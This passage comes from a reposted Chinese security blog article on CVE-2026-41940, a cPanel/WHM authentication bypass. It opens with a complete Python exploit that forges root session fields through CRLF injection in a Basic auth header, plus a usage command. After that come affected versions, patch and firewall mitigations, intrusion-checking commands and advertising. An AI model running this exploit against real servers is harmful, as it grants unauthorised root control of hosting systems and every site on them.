&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 请求失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code !=&nbsp;401:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 预期401响应,实际:&nbsp;{resp.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp; cookie = resp.headers.get('Set-Cookie',&nbsp;'')
&nbsp; &nbsp; &nbsp; &nbsp; match = re.search(r'whostmgrsession=([^;]+)', cookie)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnot&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("[-] 未找到 whostmgrsession cookie")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp; full_cookie = match.group(1)
&nbsp; &nbsp; &nbsp; &nbsp; decoded = urllib.parse.unquote(full_cookie)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if','in&nbsp;decoded:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.session_base =&nbsp;':'&nbsp;+ decoded.split(',')[0].lstrip(':')
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.session_base =&nbsp;':'&nbsp;+ decoded.lstrip(':')

&nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp; &nbsp;session base =&nbsp;{self.session_base}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue

&nbsp; &nbsp;&nbsp;def&nbsp;step2_crlf_injection(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""步骤2: CRLF注入"""
&nbsp; &nbsp; &nbsp; &nbsp; print("[2] sending the CRLF injection (Basic auth + no-ob cookie)...")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 构造CRLF注入载荷
&nbsp; &nbsp; &nbsp; &nbsp; inject_payload = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"root:x\r\n"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"hasroot=1\r\n"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"tfa_verified=1\r\n"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"user=root\r\n"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"cp_security_token=/cpsess9999999999\r\n"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"successful_internal_auth_with_timestamp=1777462149"
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; encoded_payload = base64.b64encode(inject_payload.encode()).decode()

&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/"
&nbsp; &nbsp; &nbsp; &nbsp; cookies = {'whostmgrsession': self.session_base}

&nbsp; &nbsp; &nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Authorization':&nbsp;f'Basic&nbsp;{encoded_payload}'
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, cookies=cookies, headers=headers,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;verify=False, allow_redirects=True, timeout=30)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 请求失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;307:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; location = resp.headers.get('Location',&nbsp;'')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp; &nbsp;HTTP 307, leaked token =&nbsp;{location}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;location

&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 预期307重定向,实际:&nbsp;{resp.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone

&nbsp; &nbsp;&nbsp;def&nbsp;step3_trigger_token_denied(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""步骤3: 触发do_token_denied"""
&nbsp; &nbsp; &nbsp; &nbsp; print("[3] firing do_token_denied to propagate raw -> cache...")

&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/scripts2/listaccts"
&nbsp; &nbsp; &nbsp; &nbsp; cookies = {'whostmgrsession': self.session_base}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, cookies=cookies, verify=False, timeout=30)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 请求失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;401:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(" &nbsp; &nbsp;HTTP 401, gadget fired")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue

&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 预期401响应,实际:&nbsp;{resp.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp;&nbsp;def&nbsp;step4_verify_root_access(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""步骤4: 验证root权限"""
&nbsp; &nbsp; &nbsp; &nbsp; print("[4] verifying we're WHM root...")

&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/cpsess9999999999/json-api/version"
&nbsp; &nbsp; &nbsp; &nbsp; cookies = {'whostmgrsession': self.session_base}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, cookies=cookies, verify=False, timeout=30)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 请求失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp; &nbsp;/json-api/version -> HTTP 200&nbsp;{resp.text}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;resp.json()

&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 预期200响应,实际:&nbsp;{resp.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNone

&nbsp; &nbsp;&nbsp;def&nbsp;exploit(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""执行完整攻击链"""
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[0] hostname =&nbsp;{self.target}\n")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnot&nbsp;self.step1_mint_preauth_session():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp; leaked_token = self.step2_crlf_injection()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnot&nbsp;leaked_token:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnot&nbsp;self.step3_trigger_token_denied():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp; &nbsp; &nbsp; result = self.step4_verify_root_access()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;result:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("\n[+] 漏洞利用成功!已获取WHM root权限")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

def&nbsp;main():
&nbsp; &nbsp; parser = argparse.ArgumentParser(
&nbsp; &nbsp; &nbsp; &nbsp; description='CVE-2026-41940 cPanel/WHM AuthBypass Exploit'
&nbsp; &nbsp; )
&nbsp; &nbsp; parser.add_argument('--target', required=True,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;help='目标 cPanel/WHM URL (例如: https://target:2087/)')
&nbsp; &nbsp; args = parser.parse_args()

&nbsp; &nbsp; exploit = CVE202641940(args.target)
&nbsp; &nbsp; success = exploit.exploit()

&nbsp; &nbsp; sys.exit(0if&nbsp;success&nbsp;else1)

if&nbsp;__name__ ==&nbsp;'__main__':
&nbsp; &nbsp; main()

脚本保存为cve-2026-41940-exploit.py

使用方法:

python cve-2026-41940-exploit.py --target https://target:2087/

4.3 视频演示

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

不秃头的安全已关注

分享视频

,时长00:12

0/0

00:00/00:12

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:12

00:12

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

CVE-2026-41940:cPanel/WHM 认证绕过漏洞深度分析

观看更多

转载

,

CVE-2026-41940:cPanel/WHM 认证绕过漏洞深度分析

不秃头的安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情


五、影响范围

5.1 受影响版本

| 分支 | 受影响版本 | 修复版本 | | — | — | — | | 11.136.0 | < 11.136.0.5 | 11.136.0.5 | | 11.134.0 | < 11.134.0.20 | 11.134.0.20 | | 11.132.0 | < 11.132.0.29 | 11.132.0.29 | | 11.130.0 | < 11.130.0.19 | 11.130.0.19 | | 11.126.0 | < 11.126.0.54 | 11.126.0.54 | | 11.118.0 | < 11.118.0.63 | 11.118.0.63 | | 11.110.0 | < 11.110.0.97 | 11.110.0.97 | | 11.86.0 | < 11.86.0.41 | 11.86.0.41 |

攻击端口:TCP 2083(cPanel)/ TCP 2087(WHM)

5.2 影响评估

cPanel是全球最流行的服务器管理面板之一。据统计,全球有超过数百万台服务器运行cPanel/WHM。该漏洞的影响范围极其广泛:

| 场景 | 风险等级 | 说明 | | — | — | — | | 共享主机提供商 | 🔴 极高 | 一台服务器托管数百个网站,攻击者可控制所有站点 | | VPS/云服务器 | 🔴 极高 | 使用cPanel管理的VPS可被完全接管 | | 企业Web服务器 | 🔴 高 | WHM root权限可执行任意命令 | | 域名注册商/托管商 | 🔴 高 | 客户数据、网站、数据库全部暴露 | | 开发/测试环境 | 🟠 中 | 若暴露在公网同样危险 |

5.3 真实影响案例

Namecheap紧急响应:全球知名域名注册商Namecheap在漏洞公开后立即采取紧急措施:

  • 封锁TCP 2083和2087端口所有cPanel/WHM界面
  • Webmail、WebDisk暂停服务
  • 从补丁发布到全量部署耗时约4小时
  • 影响所有Reseller、Stellar Business及其他服务器

KnownHost确认:已知存在野外利用,该漏洞被用作针对互联网管理平面的零日漏洞。

5.4 核心威胁评估

| 维度 | 评估 | 说明 | | — | — | — | | 利用难度 | 🟢 极低 | 远程、无需认证、PoC公开可用 | | 影响范围 | 🔴 极广 | 全球数百万cPanel服务器 | | 修复难度 | 🟢 简单 | 运行upcp –force即可 | | 业务影响 | 🔴 灾难性 | WHM root → 完全控制服务器+所有托管网站 | | 在野利用 | ⚠️ 极高风险 | PoC已公开,多家服务商已紧急响应 |


六、修复方案

6.1 官方修复(强烈推荐)

直接执行强制升级,一步到位:

# 强制更新 cPanel/WHM 到最新版本
/usr/local/cpanel/scripts/upcp --force

# 验证更新
/usr/local/cpanel/cpanel -V

6.2 临时缓解措施(补丁前)

方案一:防火墙封锁管理端口

# 封锁 cPanel 端口(2083)
iptables -A INPUT -p tcp --dport 2083 -j DROP

# 封锁 WHM 端口(2087)
iptables -A INPUT -p tcp --dport 2087 -j DROP

# 仅允许可信IP访问
iptables -I INPUT -p tcp -s YOUR_ADMIN_IP --dport 2083 -j ACCEPT
iptables -I INPUT -p tcp -s YOUR_ADMIN_IP --dport 2087 -j ACCEPT

# 保存规则
iptables-save > /etc/iptables.rules

方案二:CSF防火墙配置

# 如果使用CSF(ConfigServer Security & Firewall)
# 编辑 /etc/csf/csf.conf
# 将2083和2087从TCP_IN中移除

# 或者添加到csf.deny
csf -d 0.0.0.0/0&nbsp;"CVE-2026-41940 临时封锁"

# 仅允许管理IP
csf -a YOUR_ADMIN_IP&nbsp;"管理员IP"

方案三:Nginx/Apache反代层拦截

# 在反向代理层拦截可疑请求
# 阻止包含CRLF字符的请求
if ($request_uri ~* "%0d|%0a|\r|\n") {
&nbsp; &nbsp; return 403;
}

七、安全建议

7.1 紧急处置

⚠️ 立即执行以下操作

  1. 立即更新:运行/usr/local/cpanel/scripts/upcp --force升级到最新版本
  2. 检查入侵痕迹:审查/usr/local/cpanel/logs/login_log和WHM API日志
  3. 限制管理端口:将2083/2087端口限制为仅管理IP可访问
  4. 启用2FA:为所有WHM/cPanel账户启用双因素认证

7.2 入侵检测清单

# 检查登录日志中的异常
grep -E&nbsp;"(login|authentication)"&nbsp;/usr/local/cpanel/logs/login_log | tail -100

# 检查是否有来自异常IP的登录
grep -E&nbsp;"^[A-Z]{3}"&nbsp;/usr/local/cpanel/logs/login_log | awk&nbsp;'{print $NF}'&nbsp;| sort | uniq -c | sort -rn

# 检查WHM API调用
grep&nbsp;"json-api"&nbsp;/usr/local/cpanel/logs/access_log | tail -50

# 检查会话目录
ls -la /var/cpanel/sessions/raw/ /var/cpanel/sessions/cache/

# 检查新增的管理员账户
whmapi1 listaccts | grep -i admin

📄往期推荐:

热点!Linux核弹级提权?(CVE-2026-31431)

Burp 大模型Web 漏洞扫描插件 Zack-AI-Scanne

MPScan工具:微信小程序安全审计

工具分享 | FLUX-Web安全扫描工具 v5.4.2更新

CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

1. 需要考以下各类安全证书的可以联系

①Cn*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:

2. 需要入星球的可以私聊优惠

1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不秃头的安全 MY0723 MY0723《CVE-2026-41940:cPanel/WHM 认证绕过漏洞深度分析》

评论:0   参与:  0